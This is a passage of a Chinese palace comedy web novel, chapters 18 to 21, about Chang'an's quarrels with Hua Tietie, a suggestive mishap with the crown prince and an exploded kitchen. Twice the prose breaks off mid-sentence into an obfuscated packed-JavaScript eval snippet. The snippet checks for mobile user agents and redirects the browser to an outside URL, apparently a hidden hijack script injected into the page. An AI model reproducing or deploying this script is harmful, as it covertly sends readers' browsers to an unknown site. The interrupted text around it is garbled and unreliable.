我因为刚才哭得实在太厉害,这会儿脖子痉挛带着下巴一抽一抽的,红红的眼睛,像一只小兔子似得,可爱又好笑,平安看了捂嘴偷笑,惠王和堂邑夫的脸色也舒展开来。 “行,我走,我肯定不能赖着不走,搁你眼前儿闹心你。”花铁铁用帕子给我擦了擦鼻涕,不经地样子道:“临走,我再给你做点麦芽酥脆糖。” 18. 掉牙 “……麦芽糖我知道,什么是麦芽酥脆糖?”我都忘记要哭了,只委屈吧唧的抽泣,软软糯糯,满眼期待地问道。 “嗯……就是……哎呀,你也知道,我嘴巴笨,描述不出来的,等我做出来,你自己看嘛,南唐那边新流行起来的,世族门阀家孩子们都可喜欢吃了,保证不叫你失望。”花铁铁笃定的样子,更让我期待不已。 南唐盛产水稻,麦子是稀罕物,麦芽糖更是贵族才吃得起的东西,那么这个所谓的麦芽酥脆糖,更是金贵之物喽? 我心里抓肝挠肺地想赶紧吃些甜食,急迫却故作淡然地抽抽着问道:“什,什么时,时候做啊?” 惠王又给我倒了杯温水,我含一口分三次咽下去,因大哭而不止的抽搐就好了很多。 “现在!我这就去给你做。”花铁铁嘴上斩钉截铁地说着,却丝毫没有接下来的动作,我感觉她要骗我,她却抢在我前头说话:“我得先淘弄点新麦子发好麦芽,做麦芽酥脆糖,不是一蹴而就的,工序多得很,很费事的,最快也得几个时辰,今晚我肯定是得通宵了,这也就是你,换做旁人死我都不给做,堂邑夫你去弄点新麦子来,啧,我也不吃晚膳了,麦子来了,我就淘洗干净拿水泡上。” 宫人们已经在丛芳园正殿布膳,饭菜的香气,让我对花铁铁的话有些心不在焉。 花铁铁差遣完堂邑夫,不着痕迹的使了一个眼色,堂邑夫会意是以只嘴上答应,却并无动作。我后来醒悟,有时候把身边的人调~教的太好,好像也不是件全无坏处的事儿,比如别人用起来也很合心顺手。 花铁铁给了堂邑夫一个赞赏的眼光,又对我道:“我趁这会儿功夫先去采荷花,你好好用晚膳,吃完饭正好用我给你做的荷花酥溜溜缝儿,我再给你做个荷叶鸡当宵夜怎么样?” 荷叶鸡!!那可是花铁铁的拿手菜,我就有幸吃过一次,还是很久很久以前的事。 “……嗯。”我其实有些迫不及待,却故作迟疑,想了一下,才不情不愿的样子,点头答应。 我心里已经不那么生气了,但是感觉就这么消气原谅了她,多少有些挂不住面子,于是强调:“都做完了,你就走,多晚都得走,我肯定是不能留你过夜的,最迟天亮,做不出来也得滚,早膳,不能让我再看见你。” 花铁铁觉得我像一只亮着利爪发飙的小猫,可爱极了。她心生喜欢,捏了捏我的小脸蛋:“嗷呦,瞧你厉害的,这事还翻不过去了吗?” 我点点头:“嗯,这么给你说吧,要是有一百个数来计算我对你的不喜欢,刚才是一百,现在是九十九,看在麦芽酥脆糖,荷花酥,荷叶鸡的份儿上。” “啊?我做了这么多,就减了一个数?”花铁铁不怒反笑,表情甚是夸张,故作震惊的样子问道。 我傲娇地扬扬下巴,坚定地“嗯”了一声。 花铁铁满脸堆笑,宠溺地抱着我,在我脸蛋上亲了一下,道:“那这样呢?” “……八十!” 花铁铁又在我另一边脸蛋上亲了一下,期待地问:“这样呢?” “嗯……五十!” 花铁铁拿起小镜子,仔细涂了涂口脂,又抱着我好一顿亲,“那这样这样这样呢?” 我也不知道她亲了多少下,但感觉不能一下减到底便宜了花铁铁,于是想了想,才道:“嗯……二十,还有二十个不喜欢。” 花铁铁换了一种颜色的口脂,郑重其事的在我额头鼻子下巴上都像盖印章一样,重重地仔细亲了三下,“现在呢,现在呢?” 我被花铁铁亲得痒痒的,忍不住咯咯笑起来,没办法,是我先绷不住的,只能得饶人处且饶人,大人不记小人过了:“嗯,好吧,我喜欢你啦。” 皆大欢喜,堂邑夫尤其替我们高兴。 花铁铁却冷着脸狠狠剜了一眼堂邑夫:“笑什么笑?滚!” “你俩和好如初了,我肯定开心啊。”堂邑夫道。 花铁铁哼哼道:“我那么努力才和长安和好,跟你有什么关系?”接着很嫌弃堂邑夫刚才的不作为不给力:“男人关键时刻你得站得出来!刚才一个屁没有,现在也不许跟我说话!” 堂邑夫还想说什么,可花铁铁连解释的机会都不给他,只转头宠溺地亲了亲我,道:“哎哟,长安你好可爱哦,你都不知道你刚才生气的时候龇龇着牙,多可爱,和发狠的小猫似的。” 被喜欢的人晾在一边儿,总是没面子又伤心的事儿,堂邑夫满脸失落。 我向来偏疼堂邑夫,于是对花铁铁道:“哎呀,你不要埋怨堂邑夫嘛,咱俩的事儿他向来不能掺和,帮你就是背刺我,帮我就是对付你,他是老母猪照镜子,风箱里的老鼠,你难为他干啥?” 花铁铁用手掰着我的小牙牙,道:“行行行,以后不许对着我龇……啊……”花铁铁还没说,被她捏住的我的小牙牙“啪”地一声就断了,她震惊不已地倒吸了一口凉气,看着捏在指尖的小牙牙,愣住了。 平安,惠王和堂邑夫也愣了。 不等花铁铁满脸歉意地和我道歉,我又伤心地仰头哭起来,“啊……说啥也不和你好了。” “别哭了别哭了,小孩子掉牙是好事。”花铁铁是真会给自己找补啊。 我擦,好事?我那是自然掉落的牙齿吗?我那是被你掰掉的好吧?我的牙,我的牙……我伤心欲绝地转身趴进平安怀里痛哭。平安像安抚小宝宝一样哄着我。她蹙眉看着花铁铁,觉得花铁铁太没轻没重了。 花铁铁倒像做好人好事一样,把我的断牙往房顶上一扔,念叨着:“下牙就往房上扔。”然后转身回来,顺手捡起地上的糖盒子,给我,道:“喏,还有糖,你先吃着,我这就去给你做好吃的去。” 我哭唧唧地接过糖盒子,打开,一看,眼睛一瞪,又哭了,“呜啊……花铁铁你坏死了,就留了最后一颗糖,你还咬了一半去,最毒妇人心啊,我再也不和你好了。” 花铁铁见势不妙,催促堂邑 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一边的惠王和堂邑夫脸色已经红紫。我正咬紧牙关,防备平安再来抠我的糖,没法提醒她,于是……平安不自知地道:“荷叶……”说到一半,回过味儿,绝美的脸瞬间燃烧了起来,恼羞地一跺脚,追着花铁铁就要打:“哎呀,铁铁你坏死了……你找打,你别跑……” 花铁铁一边跑一边躲,一边解释说刚才她是真没听清,问完了才反应过来,可是已经晚了。恼羞急了的平安哪里肯听,两个人不顾来往传膳的宫人,嬉闹追打起来。 花铁铁最喜欢和人追着疯打闹,她一边和平安打闹一边做着鬼脸倒退着跑出了丛芳园大宫门,丛芳园层层门禁,大宫门外是有侍卫守着的,花铁铁随手拉过来一个侍卫挡在身前,两个人如同绕柱一般一个追打一个躲闪。 “你打我啊你打我啊,来啊来啊,哎,打不着打不着……” “花铁铁……你讨厌死了,你……啊……” 夜色重重,灯影绰绰,嬉笑的平安眼色越过花铁铁,忽然一声惊叫,笑容一僵,脸色一变,腿一软,附身跪在地上,不住颤抖,连牙齿都跟着打颤,一句话也说不出来了。 花铁铁对平安突如其来的行为,疑惑不已,直觉不对,本能的猛地转身一看,我擦,太子殿下!花铁铁只觉额上的冷汗霍地一下就冒出来了,再看她们刚才拉过来“绕柱”的哪是什么守卫啊,分明是东宫尉卫长李档。 我滴妈耶!不是冤家不聚头啊!花铁铁有些炸裂。 丛芳园是汤泉宫一处很小的宫室院落,小宫门外是内园门户的窄巷,可通行去东西侧院,绕过影壁便是大宫门,大宫门外才是甬道,此处甬道比着别处狭小逼仄许多。因皇帝驾幸,现下还站了两排皇家守卫,挑灯执戟。 于是皇帝刘景的御辇都要放在更外面的主宫道上,随行的宫人们除了贴身的带进丛芳园,其他的都在主宫道上恭候,甬道里也只有布膳的宫婢行色匆匆的通行着。 太子殿下便也只带着几名亲信,来丛芳园探望七皇子和齐王两位弟弟表示慰问和关心,并请同父皇和贤贵妃共进晚膳。 19. 铁妃 太子为首前行,步入甬道,不见其人先闻其声,只听得花铁铁和平安的嬉笑声,还没做反应,就见两位姑娘打闹着一前一后绕过丛芳园小宫门前的影壁,嘻嘻哈哈你追我赶拉拉扯扯蹦蹦跳跳地跑出大宫门外,拾阶而下,迎头遇上。 向来和善的太子,并未觉得她们失礼冒犯,反而见到平安天真烂漫的模样,心中喜欢,正要上前和平安打招呼。却不料身边的尉卫长李档十分尽职尽责,看见花铁铁就一万个防备警惕,本能地一个跨步挡在太子身前,可巧,下一瞬便被花铁铁顺手拉过去,当柱子绕了……于是就发生了刚才的一幕。 太子随行的人员虽不多,然此时此地,却拥挤异常。平安跪在地上,头都要抵在李档脚尖上了,李档慌忙躲让,却不想刚巧把身后的花铁铁撞了一下…… 花铁铁只觉这个李档简直是她的冤家孽障,遇上他准没好事儿。原来彼时花铁铁正要退后一步跪下给太子行礼,岂料被这一撞,非但没往后,反竟往前一拱,一个不稳,暮地笔直跪下。 就说巧不如寸,什么事要是赶上这个寸劲儿,你都没地方找人说理去。花铁铁和太子本就离得太近,最多不到一臂的距离,这一撞后的这一跪,这个高度,这个距离,瞬间就十分尴尬了。 花铁铁根本不够空间磕头,只能直挺挺地跪着,入目就是太子的腰带,腰带上的和田玉,都给花铁铁看得斗鸡眼儿了。晚风拂过,她的鼻尖似乎擦到了太子轻扬的衣摆,太子身上特有的熏香,让她不禁有些恍惚悸动。 有些惊天动地的画面闪过脑海,她的脸登时烧起来,缓缓抬头长睫微颤,正迎上太子垂下的凤眸,四目相对,两人像是被电了一下,赶紧错开慌张地视线。 又是一个抬头一个低头,比起太子的落落大方目视前方,花铁铁的低头就别有意味了,看着那个近在咫尺的部位,花铁铁感觉格外烫眼的同时又忍不住兴奋躁动。她朱唇轻启微微张着抿了抿,最后轻咬下唇,我见犹怜的样子眉眼半阖,意犹未尽地慢慢平视回来。 视线再次落在太子的腰带上的时候,心猿意马的花铁铁努力克制着将腰带拉开扯断的冲动,却根本无法停止脑海中的浮想联翩,风驰电掣间已经和太子你情我愿洞完房了,她甚至连自己的位份和孩子的名字都想好了,她说她要做东宫的铁妃,孩子就叫刘锈,不管男孩儿女孩儿都叫刘锈,因为铁生锈! 当天晚上我们就寝,她满脸希冀地同我畅聊,绘声绘色地描述这些的时候,我整个人都碎成了粉末。 太子平素端庄,站立时喜欢一手在前,一手在后,此刻在前的手,因为花铁铁炙热的眼神,出于本能不自觉地挡了一下,该说不说,不挡还好,挡了反倒更尴尬了。太子也惊觉,于是又把手收回去了,该说不说,不收还好,这一收就更更尴尬了!! 彼时想入非非的花铁铁,被此一挡一收间,惊扰地回过神来,她也不是一点儿脸也不知道要,于是便想着往后退一退,岂料不慎压了裙角,慌张间失了平衡,然后……整张脸怼在太子的小跨上…… 太子闷哼一声,众人倒吸凉气一阵惊呼,夏夜的燥热霎时间骤降凝固到了冰点。 随从们一边慌忙地或往后移,或往左右两边撤了撤,留出足够大的空间来,太子僵硬着身体,顺势向后退了一步。谁料正忙着挣扎起身的花铁铁,当时整个人的着力点和重心都在脸上,太子一退,她跟着往前一倾,整个脑袋竟直直拱进了太子两腿之间,远远看着就像太子骑在花铁铁脖子上一样。 又是一阵惊呼慌乱,好在太子尉卫郎官随从们及时解围,七手八脚把花铁铁那个大虎叉,拔出来,扔一边儿。花铁铁慌里慌张地爬回来,跪着膝行到平安身边,附身趴好。 彼时我和惠王堂邑夫,已然从丛芳园大宫门出来,将整个过程尽收眼底。 我和堂邑夫忙上前接驾,跪在平安另一侧,给太子殿下行跪拜礼,道完吉语却迟迟没听见太子叫我们平身。 太子只语气温和,神色无恙地与行常礼的惠王客套一下,并肩同行,带着众人进了丛芳园,却对跪在地上的我们四个不理不睬,太子殿下从来没有这般冷落过我,我难过极了。 我想太子殿下当时虽然面不改色,但内心一定是受到了极大的打击,才对我们避之不及。我的太子殿下,我一向温文尔雅,温柔善良的太子殿下,为什么要糟受这样的非礼,那可是我如神明一般的太子殿下啊,我心都碎了。 我黑着脸,一个眼刀飞向花铁铁。花铁铁视线全在太子背影上,完全没有注意到我的不快。 见众人拾阶而上,进了大宫门,花铁铁第一个起身,没事人一样把平安和我扶起来,然后牵着我们跟上前面的太子一行。 花铁铁是没有脸皮吗?刚才发生那样的事儿,她都没有哪怕一丝难为情吗? 脑仁儿疼的厉害,我想我对花铁铁的诸般胡闹,已经承受到了极限,再这样下去,伟业未成,我们全给她拖累完了。 我一边走着,一边扶着疼得有点抽筋儿的额头,弱弱地道:“铁铁,要不你收拾收拾东西回你的南唐吧,我保证我还跟你好,以后咱们还是朋友。这么说吧,就是我们大汉可能容不下你这条大鱼,你要不还是走吧(你赶紧走)。好吧,我实话招了吧,我就是感觉你有点(你很)不上台面,领出来有点怪丢人的(十分非常实在太丢死人了)。” 我说话声音虽然不大,但听得见的都忍不住轻轻咳了几声。花铁铁心思早飞了,对我的话,竟充耳不闻,毫无反应。我想我还是闭嘴吧,平安和我心有灵犀,也眼神示意我,别再多言。 前头,太子殿下吩咐随行众人守在丛芳园小宫门外,只身前去偏院觐见皇帝,探视弟弟。 我们几个站在人群后面,太子走了,花铁铁才收回心神,四处张望,终于见我神色不悦,才老实收敛了一些,可才悄咪咪地 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晚膳后,贤贵妃被刘景留宿汤泉宫倚香殿侍寝,她已经很多年没有承恩雨露了,突如其来的恩典,让她有些不知所措,像初沐君宠的少女一般,紧张娇羞,兴奋地期待又自卑的怯怯。 新麦子是泡上了,可麦芽糖今晚上是没戏了,最终也没有荷花酥溜缝,更别说荷叶鸡做宵夜啦…… 花铁铁没心思做这些了,她完全沉浸在自己对太子的意~淫中,难以自拔。切,哪个男子不钟情,哪有少女不怀春啊。 看着风华正茂的花铁铁,说着她对太子殿下的臆想,我心里很难受,借口说要出恭,屎遁出来透气散心,倒也不能真的走远,毕竟偏院那边还需要我时时照应。 便坐在丛芳园正宫门外的石阶上,看着灯下自己小小的影子,独自伤悲。由于七皇子和齐王的突发事故,惠王搬到前面紫竹苑下榻。惠王挑灯漫步而来,他对我眨了眨眼,抿嘴一笑,说他睡不着,真巧。 我知道,其实是他身边的亲信看见我孤身一人坐在这里发愣,给他当的耳报神。 我手臂支在大腿上,双拳托脸,继续双眼无神的看着月亮,没给他行礼,只把屁股往旁边挪了挪,示意他过来坐。 对惠王来说,这就表示我是欢迎他的。他很是欢喜的模样坐过来,将宫灯放到一边儿,然后从他的怀兜里摸索了一番,掏出什么东西,藏在手心里,趁我不注意塞进我嘴巴。 嗯?糖! 我立即来了精神,瞪着发亮的眼睛,捂着鼓起的腮帮子,腰板也挺直了,满脸崇拜的看着惠王。 惠王食指放在嘴巴上,然后指了指宫门内。我会意地点点头,随后扑进他怀里,仔细品尝嘴巴里的美味。 “吓坏了吧,我的长安今天是有给吓到的对吧,所以才那么急切的想吃到糖的对吧?”惠王健壮有力的胳膊环住我,紧紧地将我揽在怀中小心安抚。一手轻轻地摸了摸我的小脑袋,又捏捏我的小脸蛋儿,顺手将我鬓边的碎发,捋到耳后,极尽温柔。 20. 花鸡 我惊讶地看着惠王,他竟然知道我给吓到了。只有他知道,我给刘橡吓到了。我心中感动,只点了点头,嘴里还贪婪地吮吸着糖果的甜蜜,一时也说不出话来。 “以后没糖吃了,不要闹不要生那么大的气,来找我就好。”他低下头对上我激动兴奋,向他确定真假的明眸,勾唇微笑,食指在我小鼻子上轻轻一刮,“真的,没骗你,想吃糖随时来找我,平安不会知道的。” 我欣喜地呲着牙点点头,嗯了嗯。 月色正好,我的视线从他好看的凤眸上,一路下滑,经过他高挺的鼻梁,扫过微启上扬的薄唇,略过棱角分明的下巴上整齐干净的胡青,最后停在他美丽动人的喉结上。我呼吸一滞,被自己的口水呛了一下,有些窘迫,脸红到耳根直至脖子,轻咳着慌忙钻进他的怀里。 惠王呵呵笑着,下巴抵在我的头上,抚着我的后背,极尽温柔:“慢慢吃,还有。” 而我双手捂着那颗胡乱跳动的心,再不敢有多余的动作。原来心提到嗓子眼儿是这种感觉,我怕极了——会被发现吗?被发现,一定会被嫌弃恶心吧!因为那一刻我对他,竟然“心怀鬼胎”。 好伤心啊,好难过啊,明明是正常的情绪,对我来说却像是见不得人的事情……为什么偏偏是我,为什么就我不能长大呢?要是我能长大,该多好啊…… 我吃完糖,送惠王回紫竹苑,又去偏院看了看七皇子刘橡和齐王刘樟,回到丛芳园,刷牙洗漱完,摸进寝殿。 平安正跟花铁铁道歉,说她也是最后经历了没反应来过顺口就问的窘迫,闹了笑话,才知道一开始花铁铁真不是故意的。 花铁铁大气地说着没关系,还挺开心的挺兴奋的样子。她怕是还觉得挺机缘巧合的,要是没有这一出阴差阳错,她和太子也没那一出金玉良缘,一切都是那么的刚刚好。花铁铁到底是个天真烂漫的少女,她趴在床榻上,托着脸看着轩窗外的月光,哼哼着不成曲调的歌儿,悠闲地上下扑腾着雪白的小腿。 任谁看了,都觉得芳华正茂青春正好的姑娘,最美! 平安看了看花铁铁,笑着轻声问:“哎,你真看上太子殿下了?” 花铁铁瞬间收了笑容,“看上有什么用,我这种江湖女子,哪能攀上那种高枝啊,放心里喜欢喜欢,跟你们这些知心人儿说道说道,痛快痛快嘴,也就罢了。”她倒是还挺有自知之明的。 我爬上床躺下,像一只小猫儿似的缩在角落,花铁铁抬起玉足踢了踢我道:“练功去啊,我等你好一会儿啦,不然早睡了。” 我说没兴致。 “长安,还生铁铁的气吗?到底为什么啊,就因为一盒糖吗?今天你们在亭子里吵架,你生那么大气,我其实觉得有些不可思议的,我觉得不至于,但当时怕说了这一句,火上浇油,就没敢多嘴。好啦,别生气啦,啊。”平安翻身过来揽我入怀,她身子香香的软软的。 哼哼,你幸亏没多嘴,不然连你这妹妹都得跟着花铁铁那个大虎叉一起滚。唉,还是惠王懂我啊。我没吱声,从平安怀里往外拱了拱,表示不快,平安呵呵笑着将我重新拉回去。 花铁铁趴在平安的肩头,看了看闭着双眼认真睡觉的我,伸手在我鼻头点了点,我丝毫不做反应,平安推了推我,我依然铁心了不理她们。 花铁铁“啧”了一声,对平安低喃道:“不理人呢,连你都不理呢,小hama气性都很大,怕是得等我做出麦芽酥脆糖来,她才肯消气。” 平安盈盈浅笑在我额头上亲了一下,温柔道:“我们长安才不是气鼓鼓的小hama,我们长安最乖啦,睡吧,我给你唱支摇篮曲,咱们小时候经常听的那首。” 摇篮曲轻柔似梦,我好像真的回到了小时候,夏夜静谧安然,月光如水,母后一边哼着歌儿一边轻拍着哄我入睡,那样舒服踏实美好惬意。 慢慢的,平安的歌儿渐渐停了,呼吸也均匀清浅。恍惚间好像听花铁铁嘤咛了一句,说是什么南唐的老歌谣…… 翌日,是学宫每半月一次的公休日,堂邑夫难得清闲。早膳后,我们打算去汤泉宫正殿后面的莲池采荷花,做我心心念念的荷花酥。才出大宫门却见刘景身边的老黄门带着人抱着采好的荷叶迎面而来,说陛下也想尝尝花姑娘的荷叶鸡,叫多做点。 看看荷叶的数量如此庞大,也知道不单单只有刘景要尝尝,既然等着吃的人不少,那就赶紧做吧。能把入口的东西放心交给我们做,是给我们极大的信任和体面,也是花铁铁在上位者心中树立良好形象的契机,我得助她一臂之力。 啧,我这命啊,牙掉了,没糖吃,我还得给她打下手,还心甘情愿!啧,待会儿不多吃她两只鸡,我心理会很难平衡。我可不做亏本买卖,啊哈哈哈……荷叶鸡,我来啦。 汤泉宫的大厨房,还要准备正膳,我们不能借用,于是丛芳园的小厨房热闹起来…… 堂邑夫一脸心事地看了看花铁铁,说毕竟是给上位尊者做的,谨慎起见,提议先做一只尝尝味道。 我们觉得很对,于是分工合作,平安将荷叶清洗干净,我烧开水,堂邑夫杀鸡拔毛,花铁铁去挖来黄泥和好。 所有工序准备妥当,终于到了花铁铁一展身手的时刻,只见她动作麻利,取了一只鸡,直接放进荷叶里包好,用黄泥封住,唰一下,扔进燃烧着的灶膛底下。看着她信心满满一气呵成的动作,我认可地点点头。 堂邑夫蹙了蹙眉头,却没说话。只平安“嗯?”了一声,说:“这不就是叫花鸡吗?” 和我一起蹲在灶前的花铁铁一脸茫然地抬头问道:“什么花鸡?”堂邑夫也看着平安一脸好奇。 平安小声嘟囔了一句是不是叫花鸡啊,在那个世界我也没吃过啊。然后多一事不如少一事的样子,有些不确定的道:“叫……花鸡!” 花铁铁举着满是黄泥的双手,没法叉腰,只扬了扬下巴,得意道:“我花铁铁做的,当然就叫花鸡!” 灶上的锅是不能空烧的,里面满满一锅水,平安嫌蒸得慌,就到外面擦拭荷叶。堂邑夫去井边汲水,一会儿要做很多只荷叶鸡,用水的地方多着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397796|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。 我一心都在荷叶鸡上,双手托着脸蹲在灶膛前等我的荷叶鸡新鲜出炉,看着火光里潮湿的黄泥滋滋地冒着热气,回想当年吃荷叶鸡的场景,那味道仿佛还在唇齿之间,我不经吞咽着口水。 花铁铁看了看我,眼睛一转,不知道哪跟筋又搭错了,很是善解人意体贴入微似的,非要用内力加持催熟,好让我早点吃上。 我摇着头道:“不用,好饭不怕晚,慢慢……我勒个擦啊……” “轰……” 当时我阻拦她的手还在半空,都没来得及搭在花铁铁已经运功蓄力的胳膊上,只听“呼”的一声,灶膛下的火随着她的内力蓦地爆燃起来,紧接着灶上一整锅水瞬间烧沸,化成水汽顶飞锅盖散成白雾,仙气飘飘似的充满整个小厨房,空空的铁锅顷刻间肉眼可见的变成红色,黄色,最后发着亮光化成铁水,随即一股黑烟携着热浪袭面而来…… 我和花铁铁本能地一个鹞子翻身跃出窗外,紧随着我的五字粗口,听得那“轰”的一声,落地再回头小厨房已经成了一片废墟…… 众人连连咳嗽,宫人们大叫着走水了,纷纷奔走救火。 而我和花铁铁彼时就像那些常年在煤窑矿里做工的苦力,那点锅底灶灰全特么喷我俩身上了。 被堂邑夫护在身下的平安,本来十分急切地寻找我们,关切我们情况如何,等定睛看清我们,根据身形确定那就是我们的下一刻,一向端庄持重的她,竟然笑得捂着肚子前仰后合,久久不能自已。 堂邑夫是绝对不敢笑的,就算脸都抽筋了,眼里满是热泪,肚子都痉挛了,他也是不会笑我们的。 小厨房炸完了,其实也没什么火,都给废墟扬尘压灭了。我们在小厨房外的甬道上,等候发落——动静弄得太大了,惊动了最高上位者们亲自莅临现场。 当时他们一众人看到我和花铁铁的时候,表现并不比平安优秀,简直人仰马翻,溃不成军。 一群冒昧的家伙,就知道哈哈哈,一点同情心都没有的。果然人世间的悲欢并不相通,从来都不会有感同身受这回事儿。 我从来都没有这么丢人这么狼狈过! 就这么说吧,当时我和花铁铁已经根本看不出来是个孩子和姑娘了,一头随着高温变得异常蓬松的头发,散发着烤麻雀毛的焦味儿,身上根本不能用破衫褴褛来形容,衣服焦硬得像纸片木板,我们还一人被炸丢了一只鞋子,却根本没人发现,因为我们从头到脚漆黑一片…… 远远看去我们几乎就是红色宫墙上的两道黢黑的影子,就剩下一双黑白分明的眼珠子滴溜嘟噜的转着,证明确实是两个活人儿。 花铁铁跟着众人嘿嘿笑了几声,我“黑着脸”翻眼看了看她,没有任何情绪:“你是不要脸不要腚了吗,还笑得出来!?” 没有情绪比情绪爆发,更让人不安,花铁铁收了笑容,低头看了看我,像是做错事的孩子,咬着嘴唇,拉了拉我的袖角,想要说些什么来表达歉意,话还没出口,却见我那烤焦的袖子,竟被她整只扯了下来…… 21. 无穷树 花铁铁僵住了,我侧头一看,才发现袖子扯下来后,我里面也是黑的——一条小黑细胳膊,一只小黑爪子。简直“滑稽”异常! 花铁铁的“黑脸”抽了抽,一手拎着我的袖子,一手用力捂住口鼻,不敢发出任何声响。 我气得把袖子扯回来套上,却无论如何也挂不住,我就用力夹紧胳膊,但收效甚微。袖子已经掉了,挂不住就是挂不住。 众人爆发出更高的笑潮,我的驴脾气犯了,执拗起来,于是可怜的袖子滑了掉,掉了挂,挂了夹……反复几次,袖子终于碎成了渣渣…… 本来花铁铁就有些憋不住笑,忍得十分辛苦,都忍得要哭了,直抽鼻子。这下完全绷不住了,最后的一丝坚守荡然无存,肆无忌惮的狂笑,随着“噗嗤”的一下爆发出来,我感觉那决堤的一瞬,她吐沫鼻涕好像都喷我脸上了。 “所以我到底在期待什么?我到底在期待什么?”我终于体会到什么是只有歇斯底里才能表达出来的怨恨和愤怒,“绝交,我特么要和你绝交……我都说好饭不怕晚,你非要内力加持,这下好了,厨房都炸了,鸡全都没啦。我的鸡我的荷叶鸡!你滚,你滚,我再也不要见到你!” 花铁铁却像是被点了笑穴一样难以自持,可面对我前所未有的跳脚,她到底还有些理智,自觉不能太过分,好不容意才控制住笑意,长长顺了口气,下一刻却又破防,忍不住笑起来,反复几次,终于可怜巴巴地带着哭声道:“至,至于吗?” 我很清楚,她那哭声,其实就是还忍不住想笑,根本不是因为我在大庭广众之下对她,无情的翻脸,决绝的抛弃,令她感到颜面尽失,伤心难过,忍气吞声,委屈所致。 果然,她说完,咳了一声,颤抖了一下,又爆发出她那侠肝义胆,豪气万丈,笑傲江湖,铜锣般的哈哈声。 我勒个擦擦擦啊!她都笑成男声了,不看她人,只听笑声,说是个大老爷们儿也有人信的。 绝交,我必须跟她绝交!!! 协律郎柳延年,也就是我们亲爱的柳花郎大人,带着凑热闹不嫌事大的兴奋以及对上位者的惧怯,神色谨慎又慌张地小跑跑来了解情况,猫在宫墙角落,把众人后面的平安拉到一边:“什么情况,刚才都炸出蘑菇云了,地动山摇的。” 确定那两道黑影,确实是我和花铁铁,柳花郎憋笑失败,鼓了一个大鼻涕泡,把平安恶心坏了。我和花铁铁也看了个正着,不得不说,就算柳花郎是美成谪仙一样的男子,也经受不住大鼻涕泡的“洗礼”。这就是平安常说的不卫生吧!?花铁铁大师姐那句,男人脏了不能用了,也在那一刻具象了起来。 最后是堂邑夫给他说了一下前因后果。柳花郎听完,对我坚决和花铁铁绝交,表示高度的认可和支持,并提出驱除虎叉,恢复安定的口号力赞。他只敢嘀咕声不大,但躲不过我们这些练武人高超的耳力,堂邑夫赶在花铁铁发飙动手前,一个手刀把他敲晕,一个快闪把他扛了下去。 堂邑夫还挺义气的,对兄弟是真掏心掏肺啊,这他要是当个闲事,袖手旁观看热闹,柳花郎能让花铁铁拆吧拆吧,一顿干死。 花铁铁误炸小厨房这事儿大家哈哈一乐,也就过去了,毕竟是一场“好心办了坏事儿”的意外,上位者们并没有要追究我们的意思,反而还关心慰问了几句。 我们在丛芳园西侧院沐浴更衣,洗梳一番,可我们脸上的黑灰怎么洗也没办法完全洗干净,平安都快把我们俩搓秃噜皮了,还是淡淡的渍了一层在皮肤表面,于是我和花铁铁看起来灰头土脸,脏兮兮的。 我这口气是断然咽不下去的,花铁铁本来也没有什么随身物件,我还是象征性地给她收拾了一个包袱,在丛芳园小宫门外的影壁前,强行为她送别。 花铁铁也是傲娇的,一副此处不留爷自有留爷处的样子,一把接过我丢过去的包袱。硬挺了一会儿,最终还是软下语气:“至于吗至于吗,我说至于吗你?” “话不投机半句多!至不至于无所谓了,咱们就此别过。”我恭手行了一个江湖抱拳礼:“人生南北多歧路,君向潇湘我向秦。” “什么潇湘什么秦?什么意思?”花铁铁把包袱往肩上一搭,哼哼着问。 “就是再见!”我没好气地特意强调道:“就是再也不见的意思。” 花铁铁“切”了一声,像一只骄傲的孔雀,仗着比我个子高,就居高临下地白了我一眼。哼,简直是失策,个子高也有个子高的不幸,想要对人翻白眼,得往上翻,像她这般垂着眸子,是一点威力也使不出来的。 花铁铁也觉得这个白眼徒增逊色,于是更虚张声势起来,夸张地昂首挺胸,用鼻孔看着路,抬步出了大宫门。 堂邑夫恋恋不舍地样子,对着花铁铁的背影,也行了一礼,道:“长安陌上无穷树,唯有垂柳管别离,铁铁……此去山高路远,你……” 我草,个小子闷骚得很,这句诗是“我舍不得你,我不想你走,我要挽留你”的意思,个没良心的,我好不容易要把这虎叉成功赶走了,你搁这儿舍不得,还挽留上了。 花铁铁定是听不懂的,他却还深情款款的吟诵,我不信他预料不到。这多半是在暗戳戳地点化我呢,我翻眼瞪他,冷哼一声打断他,刚好接上他的那个“你”,继续道:“……可以和她一起滚。” 不是舍不得吗,一起走吧,别回头想起来,觉得痛失所爱,是因我今儿个赶走了花铁铁,才让你们劳燕分飞,错过今生,抱憾一世,进了棺材,还悔不当初。 花铁铁很嫌弃地果断拒绝我让堂邑夫和她一起的好意,然后不出我所料的一脸懵圈地问道:“杨柳管别离?杨柳……树啊?它管不管别离,我不管,倒是……无穷树是个什么树啊?长安,你什么时候种的这个劳什子的无穷树啊,搁哪呢,啥样啊,带我瞅瞅去啊?” 如此低智的话问出口,丛芳园正殿里一阵咳嗽。 昨日皇帝和太子来七皇子和齐王探视时,他们都睡下了,今日是要面圣谢恩的。齐王的肋伤不是大问题,但他们这种情况还是不好多走动,正好皇帝太子驾临丛芳园,于是贤贵妃齐王带着已然恢复正常的七皇子在里面问安,这会儿他们一大家子都在丛芳园正殿里喝茶聊家常。 “滚!”我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407121|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在铁石心肠。 